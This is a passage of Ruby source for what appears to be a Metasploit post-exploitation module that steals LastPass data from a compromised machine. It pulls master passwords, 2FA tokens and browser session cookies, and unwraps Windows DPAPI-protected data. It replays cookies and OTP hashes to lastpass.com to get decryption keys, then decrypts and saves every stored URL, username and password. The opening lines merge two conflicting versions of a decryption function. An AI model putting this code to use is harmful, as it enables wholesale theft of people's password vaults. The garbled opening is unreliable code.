decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
||||
decipher.decrypt
|
||||
decipher.key = sha256_binary_email
|
||||
encrypted_password = encrypted_data
|
||||
end
|
||||
|
||||
begin
|
||||
decipher.update(Base64.decode64(encrypted_password)) + decipher.final
|
||||
rescue
|
||||
print_error "Password for #{email} could not be decrypted"
|
||||
decipher.decrypt
|
||||
decipher.key = key
|
||||
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
vprint_error "Data could not be decrypted. #{e.message}"
|
||||
end
|
||||
|
||||
decrypted_data
|
||||
end
|
||||
|
||||
def extract_credentials(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
account_map[account][browser]['lp_creds'] = {}
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
|
||||
else # IE
|
||||
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
|
||||
end
|
||||
unless ieffcreds.blank?
|
||||
ieffcreds.each do |creds|
|
||||
if creds[1].blank? # No master password found
|
||||
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => nil }
|
||||
else
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.unescape(creds[0]))
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
creds[1] = decrypt_data(sha256_binary_email, URI.unescape(creds[1]))
|
||||
account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] = { 'lp_password' => creds[1] }
|
||||
end
|
||||
end
|
||||
end
|
||||
else # Chrome, Safari and Opera
|
||||
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", "application/x-sqlite3", "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
|
||||
account_map[account][browser]['lp_db_loot'] = loot_path
|
||||
next if loot_path.blank?
|
||||
# Parsing/Querying the DB
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
result = db.execute(
|
||||
"SELECT username, password FROM LastPassSavedLogins2 " \
|
||||
"WHERE username IS NOT NULL AND username != '' " \
|
||||
)
|
||||
|
||||
for row in result
|
||||
if row[0]
|
||||
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
|
||||
sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin
|
||||
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
|
||||
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Extracts the 2FA token from localStorage
|
||||
def extract_2fa_tokens(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
if browser.match(/Firefox|IE/)
|
||||
path = lp_data['localstorage_db'] + system_separator + "lp.suid"
|
||||
data = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
data = windows_unprotect(data) if data != nil && data.size > 32 # Verify Windows protection
|
||||
loot_path = loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
account_map[account][browser]['lp_2fa'] = data
|
||||
else # Chrome, Safari and Opera
|
||||
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", "application/x-sqlite3", "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
|
||||
unless loot_path.blank?
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
token = db.execute(
|
||||
"SELECT hex(value) FROM ItemTable " \
|
||||
"WHERE key = 'lp.uid';"
|
||||
).flatten
|
||||
end
|
||||
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Print all extracted LastPass data
|
||||
def print_lastpass_data(account_map)
|
||||
lastpass_data_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "LastPass Accounts",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(Account LP_Username LP_Password LP_2FA LP_Key)
|
||||
)
|
||||
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
unless account_map.empty?
|
||||
print_good lastpass_data_table.to_s
|
||||
loot_file(nil, lastpass_data_table.to_csv, "lastpass.data", "text/csv", "LastPass Data")
|
||||
print_vault_passwords(account_map)
|
||||
end
|
||||
end
|
||||
|
||||
def extract_vault_and_iterations(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key.itr"
|
||||
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.act.sxml"
|
||||
else # IE
|
||||
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_key_ie.itr"
|
||||
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lps.sxml"
|
||||
end
|
||||
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
|
||||
iterations = nil if iterations.blank? # Verify content
|
||||
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||
|
||||
# Find encrypted vault
|
||||
vault = read_remote_file(vault_path)
|
||||
vault = windows_unprotect(vault) if vault != nil && vault.match(/^AQAAA.+/) # Verify Windows protection
|
||||
vault = vault.sub(/iterations=.*;/, "") if file?(vault_path) # Remove iterations info
|
||||
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||
|
||||
else # Chrome, Safari and Opera
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
|
||||
if result.size == 1 && !result[0].blank?
|
||||
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
|
||||
lp_data['lp_creds'][username]['iterations'] = iterations
|
||||
else
|
||||
lp_data['lp_creds'][username]['iterations'] = 1
|
||||
end
|
||||
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", "text/plain", "#{account}'s #{browser} LastPass vault")
|
||||
lp_data['lp_creds'][username]['vault_loot'] = loot_path
|
||||
else
|
||||
lp_data['lp_creds'][username]['iterations'] = nil
|
||||
lp_data['lp_creds'][username]['vault_loot'] = nil
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def extract_vault_keys(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
if !user_data['lp_password'].blank? && user_data['iterations'] != nil # Derive vault key from credentials
|
||||
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
|
||||
else # Get vault key decrypting the locally stored one or from the disabled OTP
|
||||
unless browser_checked
|
||||
decrypt_local_vault_key(account, browser_map)
|
||||
browser_checked = true
|
||||
end
|
||||
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
|
||||
otpbin = extract_otpbin(browser, username, lp_data)
|
||||
otpbin.blank? ? next : otpbin = otpbin[0..31]
|
||||
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Decrypt the locally stored vault key
|
||||
def decrypt_local_vault_key(account, browser_map)
|
||||
data = nil
|
||||
session_cookie_value = nil
|
||||
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
if browser == "IE" && directory?(lp_data['cookies_db'])
|
||||
cookies_files = dir(lp_data['cookies_db'])
|
||||
cookies_files.reject! { |u| %w(. ..).include?(u) }
|
||||
cookies_files.each do |cookie_jar_file|
|
||||
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
|
||||
next if data.blank?
|
||||
if /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
|
||||
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", "text/plain", "#{account}'s #{browser} cookies DB")
|
||||
session_cookie_value = session_cookie_value_match
|
||||
break
|
||||
end
|
||||
end
|
||||
else
|
||||
case browser
|
||||
when /Chrome/
|
||||
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
when "Opera"
|
||||
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
when "Firefox"
|
||||
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
|
||||
else
|
||||
vprint_error "Browser #{browser} not supported for cookies"
|
||||
next
|
||||
end
|
||||
# Parsing/Querying the DB
|
||||
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", "application/x-sqlite3", "#{account}'s #{browser} cookies DB")
|
||||
next if loot_path.blank?
|
||||
db = SQLite3::Database.new(loot_path)
|
||||
begin
|
||||
result = db.execute(query)
|
||||
rescue SQLite3::SQLException => e
|
||||
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
|
||||
next
|
||||
end
|
||||
next if result.blank? # No session cookie found for this browser
|
||||
session_cookie_value = result[0][0]
|
||||
end
|
||||
return if session_cookie_value.blank?
|
||||
|
||||
# Check if cookie value needs to be decrypted
|
||||
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
|
||||
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
|
||||
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
|
||||
begin
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.decrypt
|
||||
decipher.key = OpenSSL::Digest::SHA256.hexdigest("peanuts")
|
||||
decipher.iv = " " * 16
|
||||
session_cookie_value = session_cookie_value[3..-1] # Discard v10
|
||||
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError => e
|
||||
print_error "Cookie could not be decrypted. #{e.message}"
|
||||
end
|
||||
end
|
||||
|
||||
# Use the cookie to obtain the encryption key to decrypt the vault key
|
||||
uri = URI('https://lastpass.com/login_check.php')
|
||||
request = Net::HTTP::Post.new(uri)
|
||||
request.set_form_data("wxsessid" => URI.unescape(session_cookie_value), "uuid" => browser_map['lp_2fa'])
|
||||
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
||||
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
||||
|
||||
# Parse response
|
||||
next unless response.body.match(/pwdeckey\="([a-z0-9]+)"/) # Session must have expired
|
||||
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey\="([a-z0-9]+)"/)[1])
|
||||
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
|
||||
|
||||
# Get the local encrypted vault key
|
||||
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
|
||||
|
||||
# Decrypt the local stored key
|
||||
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack("H*"), encrypted_vault_key)
|
||||
end
|
||||
end
|
||||
|
||||
# Returns otp, encrypted_key
|
||||
def extract_otpbin(browser, username, lp_data)
|
||||
if browser.match(/Firefox|IE/)
|
||||
if browser == "Firefox"
|
||||
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_ff.sotp"
|
||||
else # IE
|
||||
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + ".sotp"
|
||||
end
|
||||
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
|
||||
otpbin = windows_unprotect(otpbin) if otpbin != nil && otpbin.match(/^AQAAA.+/)
|
||||
return otpbin
|
||||
else # Chrome, Safari and Opera
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT type, data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack("H*")
|
||||
end
|
||||
end
|
||||
|
||||
def derive_vault_key_from_creds(username, password, key_iteration_count)
|
||||
if key_iteration_count == 1
|
||||
key = Digest::SHA256.hexdigest username + password
|
||||
else
|
||||
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
|
||||
end
|
||||
key
|
||||
end
|
||||
|
||||
def decrypt_vault_key_with_otp(username, otpbin)
|
||||
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack "H*"
|
||||
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
|
||||
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
|
||||
end
|
||||
|
||||
def retrieve_encrypted_vault_key_with_otp username, otpbin
|
||||
# Derive login hash from otp
|
||||
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
|
||||
|
||||
# Make request to LastPass
|
||||
uri = URI('https://lastpass.com/otp.php')
|
||||
request = Net::HTTP::Post.new(uri)
|
||||
request.set_form_data("login" => 1, "xml" => 1, "hash" => otp_token, "otpemail" => URI.escape(username), "outofbandsupported" => 1, "changepw" => otp_token)
|
||||
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
|
||||
response = Net::HTTP.start(uri.hostname, uri.port, :use_ssl => true) { |http| http.request(request) }
|
||||
|
||||
# Parse response
|
||||
encrypted_vault_key = nil
|
||||
if response.body.match(/randkey\="(.*)"/)
|
||||
encrypted_vault_key = response.body.match(/randkey\="(.*)"/)[1]
|
||||
end
|
||||
encrypted_vault_key
|
||||
end
|
||||
|
||||
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
|
||||
def lastpass_sha256(input)
|
||||
output = ""
|
||||
|
||||
input = input.gsub("\r\n", "\n")
|
||||
|
||||
input.each_byte do |e|
|
||||
if 128 > e
|
||||
output += e.chr
|
||||
else
|
||||
if (127 < e && 2048 > e)
|
||||
output += (e >> 6 | 192).chr
|
||||
output += (e & 63 | 128).chr
|
||||
else
|
||||
output += (e >> 12 | 224).chr
|
||||
output += (e >> 6 & 63 | 128).chr
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
OpenSSL::Digest::SHA256.hexdigest(output)
|
||||
end
|
||||
|
||||
def pbkdf2(password, salt, iterations, key_length)
|
||||
digest = OpenSSL::Digest::SHA256.new
|
||||
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
|
||||
end
|
||||
|
||||
def windows_unprotect(data)
|
||||
data = Rex::Text.decode_base64(data)
|
||||
rg = session.railgun
|
||||
pid = session.sys.process.getpid
|
||||
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
|
||||
mem = process.memory.allocate(data.length + 200)
|
||||
process.memory.write(mem, data)
|
||||
|
||||
if session.sys.process.each_process.find { |i| i["pid"] == pid } ["arch"] == "x86"
|
||||
addr = [mem].pack("V")
|
||||
len = [data.length].pack("V")
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
|
||||
len, addr = ret["pDataOut"].unpack("V2")
|
||||
else
|
||||
addr = Rex::Text.pack_int64le(mem)
|
||||
len = Rex::Text.pack_int64le(data.length)
|
||||
ret = rg.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
|
||||
pData = ret["pDataOut"].unpack("VVVV")
|
||||
len = pData[0] + (pData[1] << 32)
|
||||
addr = pData[2] + (pData[3] << 32)
|
||||
end
|
||||
|
||||
return "" if len == 0
|
||||
process.memory.read(addr, len)
|
||||
end
|
||||
|
||||
def print_vault_passwords(account_map)
|
||||
account_map.each_pair do |account, browser_map|
|
||||
browser_map.each_pair do |browser, lp_data|
|
||||
lp_data['lp_creds'].each_pair do |username, user_data|
|
||||
lastpass_vault_data_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => "Decrypted vault from #{username}",
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(URL Username Password)
|
||||
)
|
||||
if user_data['vault_loot'].nil? # Was a vault found?
|
||||
print_error "No vault was found for #{username}"
|
||||
next
|
||||
end
|
||||
encoded_vault = File.read(user_data['vault_loot'])
|
||||
if encoded_vault[0] == "!" # Vault is double encrypted
|
||||
encoded_vault = decrypt_data([user_data['vault_key']].pack("H*"), encoded_vault)
|
||||
if encoded_vault.blank?
|
||||
print_error "Vault from #{username} could not be decrypted"
|
||||
next
|
||||
else
|
||||
encoded_vault = encoded_vault.sub("LPB64", "")
|
||||
end
|
||||
end
|
||||
|
||||
# Parse vault
|
||||
vault = Rex::Text.decode_base64(encoded_vault)
|
||||
vault.scan(/ACCT/) do |result|
|
||||
chunk_length = vault[$~.offset(0)[1]..$~.offset(0)[1] + 3].unpack("H*").first.to_i(16) # Get the length in base 10 of the ACCT chunk
|
||||
chunk = vault[$~.offset(0)[0]..$~.offset(0)[1] + chunk_length] # Get ACCT chunk
|
||||
account_data = parse_vault_account(chunk, user_data['vault_key'])
|
||||
lastpass_vault_data_table << account_data if account_data != nil
|
||||
end
|
||||
|
||||
unless account_map.empty? # Loot passwords
|
||||
if lastpass_vault_data_table.rows.empty?
|
||||
print_status('No decrypted vaults.')
|
||||
else
|
||||
print_good lastpass_vault_data_table.to_s
|
||||
end
|
||||
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", "text/csv", "LastPass Vault Passwords from #{username}")
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def parse_vault_account(chunk, vault_key)
|
||||
pointer = 22 # Starting position to find data to decrypt
|
||||
labels = ["name", "folder", "url", "notes", "undefined", "undefined2", "username", "password"]
|
||||
vault_data = []
|
||||
for label in labels
|
||||
if chunk[pointer..pointer + 3].nil?
|
||||
# Out of bound read
|
||||
return nil
|
||||
end
|
||||
|
||||
length = chunk[pointer..pointer + 3].unpack("H*").first.to_i(16)
|
||||
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
|
||||
label != "url" ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack("H*")
|
||||
decrypted_data = "" if decrypted_data.nil?
|
||||
vault_data << decrypted_data if (label == "url" || label == "username" || label == "password")
|
||||
pointer = pointer + 4 + length
|
||||
end
|
||||
|
||||
return vault_data[0] == "http://sn" ? nil : vault_data # TODO: Support secure notes
|
||||
end
|
||||
|
||||
def decrypt_vault_password(key, encrypted_data)
|
||||
return nil if key.blank? || encrypted_data.blank?
|
||||
|
||||
if encrypted_data[0] == "!" # Apply CBC
|
||||
decipher = OpenSSL::Cipher.new("AES-256-CBC")
|
||||
decipher.iv = encrypted_data[1, 16] # Discard !
|
||||
encrypted_data = encrypted_data[17..-1]
|
||||
else # Apply ECB
|
||||
decipher = OpenSSL::Cipher.new("AES-256-ECB")
|
||||
end
|
||||
decipher.decrypt
|
||||
decipher.key = [key].pack "H*"
|
||||
|
||||
begin
|
||||
return decipher.update(encrypted_data) + decipher.final
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
vprint_error "Vault password could not be decrypted with key #{key}"
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Reads a remote file and loots it
|
||||
def loot_file(path, data, title, type, description)
|
||||
data = read_remote_file(path) if data.nil? # If no data is passed, read remote file
|
||||
return nil if data.nil?
|
||||
|
||||
loot_path = store_loot(
|
||||
title,
|
||||
type,
|
||||
session,
|
||||
data,
|
||||
nil,
|
||||
description
|
||||
)
|
||||
loot_path
|
||||
end
|
||||
|
||||
# Reads a remote file and returns the data
|
||||
def read_remote_file(path)
|
||||
data = nil
|
||||
|
||||
begin
|
||||
data = read_file(path)
|
||||
rescue EOFError
|
||||
vprint_error "Error reading file #{path} It could be empty"
|
||||
end
|
||||
data
|
||||
end
|
||||
|
||||
def read_registry_key_value(key, value)
|
||||
begin
|
||||
root_key, base_key = session.sys.registry.splitkey(key)
|
||||
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
||||
return nil unless reg_key
|
||||
reg_value = reg_key.query_value(value)
|
||||
return nil unless reg_value
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_error("#{e.message} (#{key}\\#{value})")
|
||||
end
|
||||
reg_key.close if reg_key
|
||||
return reg_value.blank? ? nil : reg_value.data
|
||||
end
|
||||
|
||||
def extract_local_encrypted_vault_key(browser, username, lp_data)
|
||||
if browser.match(/Firefox|IE/)
|
||||
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps"
|
||||
encrypted_vault_key = read_remote_file(encrypted_key_path)
|
||||
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
|
||||
else
|
||||
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
||||
result = db.execute(
|
||||
"SELECT data FROM LastPassData " \
|
||||
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
|
||||
)
|
||||
encrypted_vault_key = result[0][0]
|
||||
end
|
||||
|
||||
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
|
||||
end
|
||||
|
||||
# Returns OS separator in a session type agnostic way
|
||||
def system_separator
|
||||
return session.platform =~ /win/ ? '\\' : '/'
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue